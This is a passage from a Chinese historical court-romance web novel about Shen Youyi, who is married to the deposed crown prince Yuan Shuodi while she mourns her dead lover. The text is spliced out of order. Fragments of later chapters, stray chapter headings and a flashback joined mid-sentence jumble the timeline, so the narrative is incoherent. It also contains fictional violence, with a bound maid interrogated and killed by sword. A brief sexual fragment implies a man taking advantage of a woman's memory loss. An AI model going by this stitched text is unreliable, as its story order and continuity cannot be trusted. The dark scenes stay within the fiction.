沈幼宜一愣,旋即摇摇头。 元朔帝笑了声,凝重的气氛变得轻松起来,“你刚才都哭了。我知道这桩婚事并非你所愿,我如今也不是良配,等过段时间我会找个机会请父皇开恩,放你离开,不会叫你与我一样在这处孤独终老,荒废年华。” 沈幼宜听见他说自己哭了的时候紧张得咬住下唇,又在听见后面的话时不可置信地看过去:“放我离开?” 元朔帝身体坐得板正,矜贵的仪态在陋室中风采依旧,如朗朗皎月照亮朦胧夜空。 “我会让父皇废除这门婚事,我们的婚约不作数,你回去后可另择佳婿。” 他的神色平静温和,并无愤恨怨怼之色,对于用来羞辱他的自己亦无恶语相向,反倒以礼相待。 是的,她嫁给他于元朔帝而言是一种羞辱。 元朔帝的生母并非士族,是皇商的女儿,家中经营香料,故而入宫之时只得封为低位美人。 但他出生之时天有异象,钦天监上书是大吉之兆,皇帝大喜,将他封为太子记在皇后名下,又加封他的生母为贵嫔。 在他出生前还有过其他的皇子,可他们都因各种原因夭折,元朔帝在名义上占了长子和嫡子,从出生起尊贵非凡。 这次触怒龙颜,皇帝不仅仅是废黜他东宫太子之位,更是将他在宗室的玉碟改了回去。 如今的废太子元朔帝已经不是中宫所出,而是贵嫔之子,其中的差距堪比云泥。也正因为他不再有嫡子的头衔,众人才肯定他复起无望。沈家以庶女充嫡女嫁给他,正有怠慢轻贱之意。 庶女配庶子,天造地设,皇帝没有阻止,亦有此意。 沈幼宜平心而论,若她被人这番折辱,即便脾气再好也没办法毫无芥蒂。 来之前,沈幼宜已经做好被磋磨的准备,只要留住一条命,沈家无论是投鼠忌器还是用以威胁,母亲都能好好活着。 虽说传闻中元朔帝宽宥仁慈,是翩翩君子,但传闻归传闻,真假难辨,却不曾想他比想象中的更善良淳厚,到了这样难堪的境地还为她着想。 沈幼宜定了定神,拒绝他的好意:“殿下此言差矣,我们已是名正言顺的夫妻,上了玉碟,我不会离您而去。” 元朔帝目光端正,语气恳切:“我不会碰你。不是因为厌恶鄙夷你,而是不想你将来后悔。” 沈幼宜喉头微颤,愈发不相信他会做出雇凶杀人之事。她不懂朝政,却深知人性,元朔帝在这件事中非但没有捞到好处,反而跌入尘埃。 他显然是受害者。 她心里萌生一个想法,元朔帝若想复起,必须先调查清楚此事,倘若跟在他身边,是否能看见害死顾焱凶手伏诛的一日。 沈幼宜知道这件事虚无缥缈,元朔帝或许此生都无法东山再起,可万一呢? 再说,此时的她也没有另外的路。 沈家嫁出去的庶女还未有被退回一说,回去等着她和母亲的只有暴毙而亡。 “我不……“ 元朔帝打断她:“若有一日,你心生去意,不妨直言告诉我,今夜我对你的承诺一直作数。” 至于沈幼宜是横着出去,还是竖着出去,全凭他心情。 元朔帝话已经说到这个份上,沈幼宜若继续争论就是矫情。他们两人之间本就没什么感情,哪来的生死相依,说出来他也不信。 于是她顺着他的话站起福身:“谢殿下厚爱。将来的事,将来再说。” 元朔帝轻笑了声,不再纠缠这个话题,他看了眼一旁的漏刻,转而道:“时辰不早,你早些歇息。” 看出沈幼宜身体僵硬,他体贴道:“今日我睡在外间的罗汉榻上对付一晚,你自行洗漱,不必理会我。等明日过后,你就在这里先安心住下,若有需要派人去告诉我,我尽可能满足你。” 沈幼宜直言不合规矩:“要睡也是我去外间,殿下天潢贵胄,怎能将就?” 他扬唇一笑,竟开起玩笑来:“你现在是皇子妃,我的正妻,同我地位一样,你能将就我如何不能?” 说完兀自起身,负手而去,留给沈幼宜一道飘逸挺拔的背影。 她眼眸微颤,浓密的睫毛如蝶翅轻扇,却掀起心口一阵风暴。 顾焱,他笑起来的样子,真像你。 净室设在东边的耳房内,沈幼宜故意多放了一桶冷水,泡在微凉的清水中,她脑中的胡思乱想方才沉淀了些许。 今日已经是她第二次弄混他们两人,沈幼宜暗自敲打自己这种大错往后万万不可再犯。 元朔帝虽被废黜,观他神色对自己也无旖幼,可这并不代表她能光明正大的表示自己心里有人。 沈幼宜慢慢沉下身,直至水没过头顶。 四面八方的水压带来的不仅是难耐的窒息,还有绝对安全感。 时至今日,她终于可以为顾焱放肆地哭一场。 温热的泪刚从眼眶里溢出,就被微凉的洗澡水同化,无论她的泪有多少,都不会有人发现。 这段时日,她看似已经接受顾焱的死亡,实则心里始终抱有一丝期待,听沈夫人说他们尸骨未存,她祈祷会不会是有人误传消息。 但不知为何,当她看见元朔帝后这丝幻想莫名被戳破。 沈幼宜清晰地意识到她这辈子与顾焱已是生死两茫。 碧落黄泉,不复相见。 他有几分像你,却终究不是你。 沈幼宜沐浴的时间是以往的两倍之久,等她惊觉时水已经彻底凉透,好在此时是夏季,即便是殿外下着雨,屋内的温度也不算低。 她急急起身穿上素白寝衣,捞了一汪水处理掉藏起来的药。 这药是沈夫人叫人塞给她的,说是能帮她拴住元朔帝的心。 她要他的心做什么? 沈幼宜内心毫无波澜地仔细擦干净残留的水渍,推门而出时顺手披了件杏色小菱纹对襟罩衫。 重回寝殿,元朔帝已经在外间躺下,屋内仅剩一盏灯,恰好照亮她走到床榻间的路。 沈幼宜蹑手蹑脚地走到床边,缓而轻地放下竹绿色轻纱帐,慢慢躺下。 她的眼睛不由自主转到外间。 元朔帝朝着反方向睡,罗汉塌上只隐约看见一球黑。 清风阵阵,盈满床帏,轻盈的纱帐飘在空中宛如浪潮,扰乱她的视线。 忽然,她起身从床脚拿起一床薄被,轻手轻脚下榻。 沈幼宜小心翼翼将被衾盖至元朔帝胸口,做完后她站在一旁盯着他看得入神。 元朔帝脱下礼服换了银白色的寝衣,衣襟将喉结以下的部分包裹得十分严实,只露出两寸长的上脖颈,肌肤如瓷如玉。 他双眸紧闭,浓眉似剑,微抿的唇带出几分无情,谁能想到这样冷淡薄情的长相却是个温和仁善的性子。 凭良心说,顾焱长得没有他好看,元朔帝甚至比她见过的任何一个男子都俊朗。 对比的幼头一起,沈幼宜便惊惶压下,再不敢多看一眼,匆匆落荒而逃。 她转身离开的瞬间,塌上人内侧广袖下紧握的匕首悄然松了松。 元朔帝睁开眼,余光捕捉到一片雪白的裙角。 夤夜时分,屋外的雨已停歇,夏蝉恢复高歌。一束银光在纱帐间若隐若现,元朔帝提着未入鞘的匕首站在沈幼宜床头。 他目光深邃如寒潭,不辨喜怒,浑身散发森冷的气势,与沈幼宜面前温柔的模样判若两人。 借着微弱的烛光,沈幼宜在他眼中一览无余,她身体纤瘦,整个人缩在被子里团成一团,只占了床榻一小块地方。 她的脸深埋在那浓密的乌发之中,仿佛被夜色温柔地包裹着。 他无法窥见她的眼眸、鼻梁和双唇,唯有那一小块如瓷器般细腻白皙的脸颊,在乌丝的遮掩下若隐若现。几缕湿润的发丝紧贴在她的下颌,如同水墨画中的淡墨轻描,勾勒出一段柔美而含蓄的弧度。 沈幼宜几乎将整个人藏了起来。 昏暗的光线里,元朔帝视线在她身上放肆游走,最后陷入沉思。 她没有把毒药放入合卺酒中,而是趁着沐浴悄悄处理掉了,是怕他发现,还是故意做给他看。 思及此,元朔帝忽然俯身靠近,提起匕首直直刺向她的右脖颈。 一道劲风呼啸而过,吹乱了她鬓边的几缕墨发。 匕首停在她喉咙前堪堪一寸,只消轻轻一推便能刺入她的咽喉。 沈幼宜毫无所觉。 两人的距离贴得极近,元朔帝的鼻尖弥散着丝丝潮意。 他张开嘴无声在她耳边轻喃。 沈幼宜,幸会。 也许是今天下午赵明澜到访跟他说了什么事,元朔帝才会如此反常。听说他被罢黜后直接押送到西巷口,还未见李贵嫔一面。 她的娘亲在沈府生存尚且不易,李贵嫔在尔虞我诈的深宫之中只会更加艰难。听闻她是商户之女,因容貌昳丽被选入宫闱,虽上头有个皇字与普通商人拉开天堑,但在高门林立的后宫,仍是举步维艰。 元朔帝的出生更是将她推到风口浪尖,不过好在皇帝出手,将元朔帝抱养在皇后名下,才堪堪保住性命。 往后之事,众人皆知,元朔帝年少有为,简在帝心,凭借出众的能力力压诸位皇子,李贵嫔的日子才渐渐好了起来,生下赵明澜。 赵明澜出生时生母是一宫之主,亲哥哥是大权在握的太子,说句命好不为过,尤其是元朔帝将自己不能陪在李贵嫔身边的遗憾尽皆补偿在赵明澜身上,对他百般呵护,千娇万宠。 长兄如父,元朔帝说是把赵明澜当成儿子养也不为过,因而赵明澜从未经历过宫闱里的明争暗斗。 如今元朔帝一朝跌落,李贵嫔母子想必也不好过,他因此心情不好也能理解。 沈幼宜推己及人,想到在沈府不知消息的病重娘亲,心里顿时软了三分,连带着对他晚膳时的奇怪举动也尽皆释然。 沈幼宜点点头,“殿下只管写好尺寸送过来,我一定尽快做好。” 元朔帝目光变得异常柔和,唇角高扬温声道:“谢谢。” 翌日沈幼宜刚刚梳洗打扮完,就得知左思叫人已经抱了数十匹颜色各异的缎子放到隔壁屋里。 她匆匆用过早膳后赶过去,左思见到她后问好,指着两个候在一旁的陌生面孔道:“这两位是来帮您做衣裳的。殿下说秋日将至,您也该添几件新衣,正好一道做了。” 沈幼宜没想到还有自己的份,转幼一想他们现在是幽居之人,不宜招摇,便婉拒左思的好意。 左思看出她是不愿意替元朔帝惹麻烦,笑容更添几分真诚,旁人只想在元朔帝得势时趁东风捞好处,她想着却是如何降低元朔帝的危险。左思心里高兴,话里话外不自觉多透露了几分信息。 “殿下说了不打紧,几件衣裳他还是能做主的。大皇子妃只管挑选喜欢的料子,不够的话奴才再去寻一些过来,珍珠贡缎还是流光锦都管够,您样式上有什么需求只管和她们两个提,她们手艺还算得用,一个擅长苏绣,一个专精剪裁。” 他使了个眼色,两名宫女立即围了上来,她们毕恭毕敬开始替沈幼宜量体裁衣。 若是沈幼宜经常入宫,就会认出这两个手脚利落,沉默寡言的宫女一个是针线局最好的绣娘,一个是尚衣局总管的侄女,她们都是宫里有头有脸的人物。 元朔帝进来的时候正好听见宫女在询问沈幼宜喜欢什么样式。 沈幼宜余光瞥见他的瞬间脸像被烧着了一样,她从没有被人问得这样细致,连小衣的颜色和图案都要征求她的意见。 沈幼宜向元朔帝投去求救的目光。 元朔帝温柔一笑,气定神闲道:“我都可以。” 待沈幼宜听清他的话,两颊顿时充满血色,她抿紧嘴唇羞赧别开眼,恨不得找条地缝钻进去。 她明明不是这个意思! 他几乎抵不住她的热情,那种事情做一两回就该到此为止,将她惯坏了、胃口养刁了,或许以后还要爬到他头上来,嘲笑他竟然会做这种可鄙行径。 但是她第二日又会忘得一干二净,有了这个借口,他便不那么难以接受。 元朔帝俯身到她耳边,想大致教她明了,动作一快,却听她长长地哭吟一声,知道她是受不得了,才要问她喜不喜欢那样,就被她扭过头来,吃力地亲了一下。 他颇感好笑,论理他可是毁了她名节的男子,她却生出丝丝缕缕的情意。 可行事还是缓和了许多——她似乎一日比一日容易接受他。 沈幼宜此刻真的快成他砧板上的鱼肉了,打也打不得,骂也骂不得,连紧紧抱住他都做不到,于是清了清喉咙,讨一盏煮沸放凉的泉水喝,润过之后才启唇撒娇道:“陛下,咱们今日什么时候回去呀?” 她的声音酥软,带有一点风情妩媚的意味,可溪水中映照的脸却不那么明媚。 沈幼宜觉察到背后的钳制放松了些,轻轻问道:“您是天子,一言一行都备受人关注,万一出了什么好歹可怎么办?” 她这话明显是一片关心,可身后的重量却忽而一轻。 元朔帝撑在她身侧的石头上,尽可能压制住自己语气中的欢喜与震惊。 第 50 章 第 50 章 沈幼宜停顿了片刻:“夜里我做了一个很长很长的梦,梦到了我在给陛下跳舞、入宫成为您的嫔妃,还被您赶到了骊山上……但还有些模糊。” 她回身吃力地亲了亲他,目光还有些未缓过来的呆滞:“有一个郎中给我开了些药,我不想教陛下知道我的病,就一直偷偷吃着药,后来那些药没了,我有一日醒来,忽然什么都想不起来,又偶遇了陛下,把您都忘了。” 元朔帝也听她名义上的父亲说过这些话,将她抱起来些:“宜娘断了药,也能想得起来?”得知顾焱死讯那日是个大晴天。 沈幼宜正用缠金丝并州剪在府内后花园采摘新开的玫瑰花,满园的玫瑰绚丽夺目,红彤彤的一片染红了天。 时人以牡丹花为贵为尊,这满园玫瑰即便是从万里之外的滇南运来,途中耗费大量人力、物力、财力的上等货,也只配给沈府大小姐放在泡澡的木桶里,上不得台面。 烈日当空,蝉鸣呦呦。沈幼宜不受外界打扰,目光专注将眼前玫瑰萼片下方一寸的幽绿色细茎,“咔嚓”一声剪下整个花头,轻轻放进旁边的笸箩中。 她手脚又快又稳,面前这一簇花几下被剪的所剩无几。 款步走到另一片花田前,刚拈起一支新花要摘,迎面看见沈夫人身边的章嬷嬷朝她走来。 “章嬷嬷。”沈幼宜停下手中动作,笑吟吟打招呼:“今儿个什么风把您吹来了,太阳日头大,小心中暑,有什么事儿您吩咐下面人跑一趟,何苦自己受累。” 章嬷嬷含着笑在她面前站定,应和道:“还是宜小姐心疼老奴,我这番前来是传夫人的话,请您过去一趟。” 这称呼颇有几番讲究。沈府小姐少爷众多,若以排行论,加上夭折陨落的得排到几十开外,再者不方便家里上了年纪的长辈对上号,于是改为以名称呼。 而家里唯一被称为沈小姐的,是沈母亲生的掌上明珠沈盈丹。 沈幼宜心里咯噔一下,面上维持笑意,转手塞了个鼓鼓的缎面荷包过去:“嬷嬷可知是何事?” “是件大喜事。”晚夏的云梦阁掩在浓翠深处,蝉鸣织就的金线缠着素纱窗棂,漏进几缕烫人的光。 沈幼宜手持素色绢扇子放在胸前徐徐地摇,清风扫过脖颈间细细汗珠,腾起一片携桂花香气的清凉。 而沈家跟来的陪嫁丫环青梅却没她那份自在怡然,抱怨道:“这里什么都没有,吃的饭菜要么冷的,要么馊的,床榻也硬邦邦。这炎炎夏日,咱们连一点冰都没有,蚊虫又多,我已经好久都没睡过一个整觉了。” 沈府家大业大,稍微有点脸面的丫环们过得都不差,比小门小户的小姐们还强上三分。 沈幼宜笑着给她扇了扇风,安慰道:“心境自然凉。我散步时发现后山有驱蚊草,等会你跟我一起弄点回来放屋里。” 青梅无奈叹了口气。 西巷口堪比冷宫,她一下子没适应过来,看着沈幼宜平静自然的神色,纳闷她一个小姐怎么能受得了这样艰苦的生活。 然而她看见沈幼宜眼底青黑,眉眼间透着疲惫,又把疑问咽了回去。 早听说这位沈二小姐最是能忍,或许她也和自己一样在熬日子罢了。 沈幼宜却觉得这里的日子比起沈府来清闲舒服许多,不需要每日去沈夫人那处晨昏定省后马不停蹄侍奉沈大小姐,也不需要顶着烈阳到花园采花,最重要的是不用担心自己说错一句话,做错一点事就被打被罚。 新婚夜元朔帝对她有尊重却无亲近之意,沈幼宜闻弦歌而知雅意,识趣地龟缩在元朔帝给她划定的范围里,关起门来过自己的小日子。 嫁过来前,她心里对西巷口的日子就有所准备,唯一没想到的是元朔帝长得竟与顾焱有几分相似。 她一想到自己那夜认错了人,心中羞愧难堪,却也让她意识到自己对顾焱的死亡一直耿耿于怀,并不像表面上那般云淡风轻,以至于看到元朔帝时,失了态,丢了魂。 青梅点头答应,又开始每日的感叹:“大皇子真是个神仙般的人物,可惜了……” 青梅从前在沈盈丹的院子里伺候,听说过不少元朔帝的事,她闲来无事时总喜欢说上一两句给沈幼宜听,譬如在春蒐秋狩夺得头彩,他的文章被大儒们夸赞字字珠玑,为人温文尔雅,对宫人关照有加。 这些事沈幼宜从前也听沈盈丹说过一两句,然而彼时她离元朔帝这般云端之上的人物太遥远,仅是敷衍附和嫡姐两句,谁曾想世事变化无常,她如今成了他的妻。 “对了,大皇子的剑术也是一绝,听闻他曾于三千敌军中斩下贼首头颅而毫发无伤,引得举国震惊……” 沈幼宜摇扇的手微顿,他也擅使剑。 晚膳后,青梅吃坏了肚子,沈幼宜只能自己一个人扛着锄头去后山采药。 她身形纤弱,看似弱不禁风,实则体力不差,泅水攀树样样会一点,顾焱笑着说自己把一个大家闺秀带成野猴子了。 沈幼宜不到一刻钟就爬到山腰的位置,麻利将驱虫草连根拔起,又捎带了些野菊,打算一起带回去装点荒芜的院落。 回程的时候意外看见元朔帝朝她的方向走来,沈幼宜下意识躲入最近的大树后,想等他们走远再出来。 然而脚步声却在她回去的必经之路上停下,她听见元朔帝温和的嗓音:“开始吧。” 剑刃劈开空气,发出呼呼的锐利之声,如同夜风疾驰穿过密林。 他在练剑。 沈幼宜想到青梅说元朔帝剑术不凡,忍不住悄悄往外探出头,目光一下子就黏在元朔帝身上。 晚霞将天边染成绚烂的金红,余晖铺了一层在他天青色圆领窄袖长袍上,袍上绣着银线织就的祥云纹,随着剑势起落翻滚出灿金的浪花。 他手握长剑,背对着夕阳,看不清脸上的表情,余晖勾勒出他棱角分明的轮廓,挺拔如松的身姿。 暮色中,元朔帝挥剑的影子被无限拉长,与记忆中的剪影渐渐重合,最后融为一体。 沈幼宜看得出神,直到他们离开都没发现。她手里提着的东西忽然变得沉甸甸的,眼底涌起一股难以言喻的酸涩。 往后数十日,她跟着了魔似的,隔三差五跑到后山密林里偷看元朔帝练剑,他有时会跟人对剑,有时候自己练。 剑招时而灵动如风,轻盈似燕,时而雷霆万钧,气势磅礴,不懂武的她也能看出元朔帝剑术高超。 她不是没有在心底谴责过自己近乎偷窥的行为,每次看完离开沈幼宜都暗自发誓这是最后一次,然而等到第二天又像是忘掉自己下的决心,照常去提前蹲点。 元朔帝不是每天都会去练剑。 如果某日沈幼宜没有看见他,胸口像被挖空了一块似的,整夜都无法入眠,直到下次再看见元朔帝时才能填补空洞的心。 说来可笑,顾焱在时,沈幼宜总以怕被人发现为由,十次里有八次拒绝他邀请自己观剑。如今她却借助元朔帝妄图弥补未曾陪伴顾焱的时光。 她知道这样做不过是自欺欺人,但她已经没办法了。 自从顾焱的死讯传来,她几乎再也没睡过整夜的觉,一闭眼全是他的笑脸,笑着说要努力出人头地,十里红妆娶她的模样。 而在撞见元朔帝练剑的那天,她罕见一夜无梦。 她频繁出门引起青梅的疑惑,被她找了个理由搪塞过去。 这天,沈幼宜照常往后山走,刚走出院门就迎面撞上元朔帝。 沈幼宜对上他的视线,先是愣了下,转瞬变脸。 她被吓得后退几步,手中的锄头砰地掉在地上,发出一声巨响,心虚踢开锄头,眼神躲闪道:“殿下,您怎么来了?” 元朔帝体贴地装作没看见,掩唇轻笑:“来跟你说件事。” 沈幼宜心更虚了。 时隔月余,元朔帝再一次踏入云梦阁,发现完全大变样。 云梦阁听起来大气,实则不过几间逼仄的旧屋连成一排,院内荒芜杂草丛生。 屋内阴暗潮湿,放置的家具大多是老物件,缺胳膊少腿的,还散发着陈旧的霉味,四周的窗户上还有不少大大小小的破洞,沈幼宜嫁进来的前两天才紧急收拾出来。 如今却大变样,小院外分门别类地种了许多花花草草,虽然都不是什么名贵的品种,却胜在搭配别出心裁,花草树木高低错落,疏密自然,看上去舒心畅快,生机盎然。 踏入屋内,元朔帝下意识眯了眯眼。 屋里的灯实在是太亮了,几乎照遍房子里的每一寸角落。 他环视四周,看见竹篾卷帘悬挂在每一扇窗户前,顶端各放一只香囊。 夜风一吹,淡淡的草药香落入屋内,味道清香宁人,与宫里夏日用的驱虫香囊味道一样。 屋里掉漆破损的家具要么用锦缎包裹住,要么放置花瓶遮挡,每一个花瓶里都插着小物件,有院子里的桂花,有不知名的野花,还有几缕垂柳。 最妙的当属屋里的灯罩,原本光秃秃的烛台围了六块方形的素布,每一面都画有不同图案,转起圈来在墙壁上投射出各种阴影,颇有趣味。 这些不起眼又廉价的装饰,让死气沉沉的屋子注入了奇妙的活力,看得出主人在用心装点。 元朔帝心想,她还真把这里当家了。 沈幼宜从进屋起就跟在元朔帝身侧,眼观鼻鼻观心一直没开口,看上去相当沉得住气,然而因为做了亏心事,内心忐忑不安。 他的一举一动在沈幼宜眼里似乎都别有用意,像在告诉她赶紧坦白。 元朔帝坐下后,伸手示意她也坐。 沈幼宜惴惴不安地略沾半点凳面,想着等会要如何圆过去,心里开始后悔自己的放纵,不该一次又一次跑到后山。 在他张口发出第一个字音瞬间,她的心几乎要从嗓子眼里跳出来,呼吸停滞。 “半月后是母后的生辰,她这次整寿邀请了全京城的内命妇,届时你应当要出席。” 沈幼宜呼吸微顺,艰涩地动了动喉咙,劫后余生般发出一个嗯字。 元朔帝被圈禁,但皇帝只下令他不得离开西巷口半步,她作为大皇子妃在重大的节日和家宴可以出席,以彰显皇室成员恭孝敦睦,和气致祥。 他好似没看出对面人的不对劲,继续道:“我从前在政事上颇有些独断专行,如今失了势,又是戴罪之身不能同你一道祝寿,你去了恐怕会被人刁难,不如称病告假?” 沈幼宜听过一点风声,龚州水患时还是太子的元朔帝强行要求地方世家豪绅开仓放粮救济灾民,为此还杀了几个阳奉阴违的官员,引得朝野一片哗然。 死的几个官员都是当地世族子弟,家族势力盘根错节,元朔帝却没有给他们一丝求情的机会,因而被言官上书滥用权力,藐视名门望族。 如今士族的权利过盛,有些稍微偏远的地方只知道当地望族,而不知皇帝,朝廷颁发的旨意需得他们点头才会被有效执行。端看沈家敢擅自替换皇子妃的人选,皇帝睁一只眼闭一只眼就能窥见些许端倪。 元朔帝被罢黜,未尝不是皇帝安抚士族的手段。 沈幼宜感动他特地来给自己出主意,但不得不去,她心里记挂娘亲,一定要亲自去问问情况。 “谢殿下好意。”沈幼宜感激道:“只不过躲得了初一,躲不了十五,躲过皇后的生辰,还有皇上的万寿,总不能一直称病。再说,我背后还有沈家,他们不敢把我怎么样。” 元朔帝:“既然你意已决,我也不再劝你。只是……” 沈幼宜面露疑惑,静等他的后文。 元朔帝身体微微前倾,眉眼含笑:“你以后不要躲在暗处看我练剑了,夏日林中多蛇虫鼠蚁,小心受伤。” “你要想看,下次可以光明正大看。” 沈幼宜蓦地脸颊通红,不敢直视他的眼睛。 章嬷嬷接过东西拢进袖中,眼角扫过脚边堆满玫瑰花的藤篮,笑意漫上眼尾。 沈幼宜垂立在齐胸高的花荫旁,素纱宽袖用襻膊缚住,露出两只莹白如玉的小臂,纤纤玉指细长均匀,靠在糜艳的花瓣上宛如霜雪般炫白夺目。 章嬷嬷视线上移,眼前人鬓发微微湿润,密不透风贴在脸颊上,发丝从额头至耳郭遮住她大半张脸,看不清轮廓,整个人显得有些小家子气,与稍微体面奴婢站在一起毫无违和感。 沈幼宜的长相不似大小姐昳丽明艳,最多称得上清秀二字。 不过正因如此,她才至今没有婚配,一方面大小姐喜欢她推拿的手艺舍不得放人,另一方面沈家也不缺庶女去联姻。 章嬷嬷知道,沈府里不少人私底下嘲笑沈幼宜一个庶出的小姐自降身份做这等采花粗活来讨好沈夫人和沈大小姐,殊不知能留在大小姐身边是件多难的事。 就比如采花这个活,既是个力气活,也是个磨人的活。 大小姐要求每片花瓣的大小,色泽基本一致,花瓣不得有缺口损害。 沈幼宜每日摘完花,还要逐个挑选,在她之前的采花丫鬟不知被杖毙发卖了多少个,而她一做就是三年。 玫瑰茎秆多刺,稍微分神便会被刺伤,它们却从未在沈幼宜身上留下痕迹。 仅这一件事,沈幼宜就展现出非凡的耐心与细致。 想到这,章嬷嬷心里更有底了,示意她放下东西跟自己走。 沈幼宜心里不详的预感更重,不动声色打探道:“哦,却不知是我一人的喜事,还是沈府的喜事?” 章嬷嬷意味深长道:“既是您的喜事,也是沈府的喜事。” 沈幼宜两眼发黑,手里的力道没控制住,茎杆上的尖刺戳破指尖,登时钻心的疼。 不过多亏了这疼,让她皲裂的表情重新凝聚。 她默不作声收回染血的手,放下利剪,温声交代婢女把花收拾好,才请章嬷嬷带路。 章嬷嬷看她做事十分有章程,满意点点头。 两人沿着九曲檐廊穿过七八个月洞门,红漆柱廊投射的阴影和刺目的阳光规律地轮流落在沈幼宜身上,纤弱的身姿忽明忽暗,如同她此时起伏不定的心情。 她今年已经十七有余,除了婚姻大事,沈幼宜想不出今日沈母忽然找她的第二个理由。 沈家的庶女都是笼络人心的工具,一到年纪或外嫁远地控制地方官员,或聘给高门为妾打探消息,她们要么不得善终,要么终身受制于沈家。 沈幼宜靠着在大小姐面前伏低做小,讨巧卖乖,生生拖到今天还未婚配,只为等顾焱上门提亲。 他前两年被京兆尹看中招为麾下,前途一片大好,这次又自告奋勇随钦差下沈南贴身保护。 临走时,顾焱找机会见了她一面,说回京后有办法向沈家提亲,叫她等他回来。 沈幼宜好奇问他是什么办法,他却神神秘秘卖起关子,不过信誓旦旦保证会明媒正娶聘她为妻,带她逃离沈家这吃人不见血的魔窟。 故而在听见顾焱死讯时,沈幼宜愣了半晌,面上难以维持一贯恭敬的神色。 “钦差大臣一行人下沈南查税时遇到山匪,十余人不幸坠崖遇难,无人生还。有人举报所有是太子元朔帝为包庇贪官而痛下杀手。陛下震怒,在朝堂上大发雷霆,斥责太子目无法纪,知法犯法,当众褫夺他的太子之位。” 沈夫人发髻上戴了整套的红玛瑙步摇,晃得沈幼宜头晕目眩,差点跌倒。 寒意从脚顺着脊柱爬上头皮,天灵盖似被当头一棒,疼得让她无法思考。 后面说了什么沈幼宜几乎没有听清,她脑子嗡一下全是盲音,而后眼前不断交替浮现“坠崖遇难”和“无人生还”八个大字。 这些字眼像一个个猝了毒的粗针,直插心脏,鲜血淋漓。 “但陛下并未取消他与沈府的婚约,责令礼部在下月初九的吉日成婚。我思来想去,府里只有你到了适龄的年岁,大皇子虽不再是太子,但陛下幼及父子情分,并未贬为庶人,只要他迁居与西巷口闭门思过,你嫁过去只需照顾殿下起居,日子倒也清静怡然。” 沈夫人神色威严,面无表情地坐在上方紫檀祥云纹太师椅上,手中端起鎏金银团花盏,不紧不慢地用盏盖撇去上层漂浮的茶叶尖,轻描淡写决定沈幼宜往后一生的命运,如同曾经那些被送走的女眷们。 她心里是极为失落的,若不是老爷说元朔帝复起希望渺茫,她倒是愿意让女儿沈盈丹赌一把。 在沈夫人眼里,元朔帝和女儿简直是天造地设的一对。 他文武双全,能力出众,最重要的是生母家世卑微,只能依靠岳家的力量在朝中站稳脚跟。从前女儿进宫陪皇后解闷时常常遇见元朔帝,对其俊朗的容貌和温润的性子心生爱慕之情。 只可惜沈皇后传信说太子越长大越难控制,她已经容不下他。 沈夫人见沈幼宜迟迟不答话,皱眉抬眼望去。 沈幼宜立于堂前,头压得极低看不清五官和表情,双手交叠放在裙摆,微微弓着身,显得局促不安。 她身上穿了件素白斜纹的棉麻裙衫,暗绿色襻膊绕过纤细的脖颈,像被缚的鸟雀。 头上只有一根漆黑木簪和几朵素色绢花挽发,整个人看上去灰蒙蒙的,丢在人堆里实在不起眼,给人第一印象是老实本分。 沈幼宜没有兄弟可依靠,生母又是病秧子,容易拿捏。 沈夫人把府里的庶女们在脑子里过了一遍,再也找不出第二个比她更适合的人。 “你可愿意。”沈夫人手里的茶盏撞上同样材质的檀木案几,发出沉闷地轰鸣声。 沈幼宜如梦初醒,急急收住眼前泛起的蒙蒙白雾,眼眸一垂一起间,将震惊与悲痛被囫囵埋在眼底。 她轻吸一口气,极力控制住暗哑潮湿的声线,压住嗓子温顺道:“一切听夫人安排。” 交叠在下的右手不自觉紧握成拳,指尖深陷掌心,力气大到刚愈合的食指尖再度流血,这刺心的痛让她勉力维持表面的镇定。 沈幼宜点了点头,她吞吞吐吐道:“只是有些慢,但能一点点想起来。” 50-60 第 51 章 第 51 章 沈幼宜别过脸去,下意识想走远些,然而手腕被人握住,轻轻一带,就斜卧到了天子怀中。 她试着挣扎了一下,却挣不脱男子的桎梏:“妾教尚食局的人进来侍奉陛下用膳。” 元朔帝晓得她生气,缓缓道:“不许敷衍,朕哪句话又得罪你了?” 沈幼宜仰头望向他,嘴唇轻动,忽而心中失望,将头转到一边去:“陛下说笑了,您怎么会得罪我呢。” 从皇帝这句话起,就已经为案中牵涉的每个人定了大致的罪,他所处的身份、所受的教育、所奉行的准则已经牢牢植根于心,不是她一句话两句话就能改变的。 青梅醒过来的时候发现自己被蒙着头,眼前黑乎乎一片,手脚被捆着不能动弹躺在地上,后背一片冰凉,头和后颈酸痛异常,深呼吸好几次才缓过劲儿。 突然,她的头罩被取下。 入眼是一间废弃的厢房,家具破败不堪,密密麻麻的蛛丝粘连在各处,明明是青天白日,屋内却阴森森的,四周的空气散发着腐朽的死气。 阳光从破了洞的窗棂中照进来,穿过一张巨大的蛛网,蛛网中间有一只飞蛾被黏住,挣扎间反射着千丝万缕冰冷的光。 “你有三句话的机会交代。” 青梅眼前出现一双白底银纹的皂靴,视线上移是元朔帝看不清表情的脸。 他垂着眸,有种居高临下的压迫感。 元朔帝温和劝告她:“不要说谎。” 青梅张口便是:“大皇子,我冤枉啊!” 元朔帝对青梅笑了下,眼神却淡漠如冰。 青梅后背无端沁了层冷汗,她强打精神艰难起身,跪正低头避开他的眼睛,准备说出刚刚编造的谎言:“昨日我……呜……” 一把剑从她后背穿过。 青梅胸口突然传来难忍的剧痛,而后听到头顶一声轻叹。 “我的意思是,一句话也不能说谎。”元朔帝利落抽出长剑,轻声道:“我的耐心实在有限。” 青梅不可思议地看着胸前染血的剑刃,鲜血顺着剑尖滴在地上。 她张口还想说什么,却只能吐出大口的鲜血,旋即砰的一声倒在地上,渐渐没了声息,无法闭合的眼珠瞪着窗口方向。 蛛网上的飞蛾,正被蜘蛛一点一点蚕食殆尽。 元朔帝慢条斯理擦拭着剑,“处理好。” 他从未离开过书房,昨天夜里发生的一切他都在黑暗中看得清清楚楚。 左思点了点头,他不确定地问:“殿下已经确定幕后主使是沈家了吗?” 青梅是沈盈丹院子里的人,在沈幼宜出嫁前一天指派过去给她做陪嫁婢女。 元朔帝嗤笑一声:“他们没那么傻,做这种事用自己人,弄不好要诛九族的。” 西巷口作为圈禁重地,擅自传递消息是在藐视皇帝威严,往大了说能扯上意图谋反的死罪。 左思不解,什么都没问出来就杀了,是不是太草率? 元朔帝看出他的疑惑,眉头微挑:“去问沈幼宜。” “看看她,到底有多爱我。” 沈幼宜一夜未眠,几乎是强弩之末,但她又睡不着,只能躺在床上睁着眼。帐顶是素青色的纱,没有花纹,日光轻而易举漏进来。 盯着光的眼睛逐渐酸涩,她渐渐闭上眼,本打算假寐片刻,却不知不觉睡了过去。 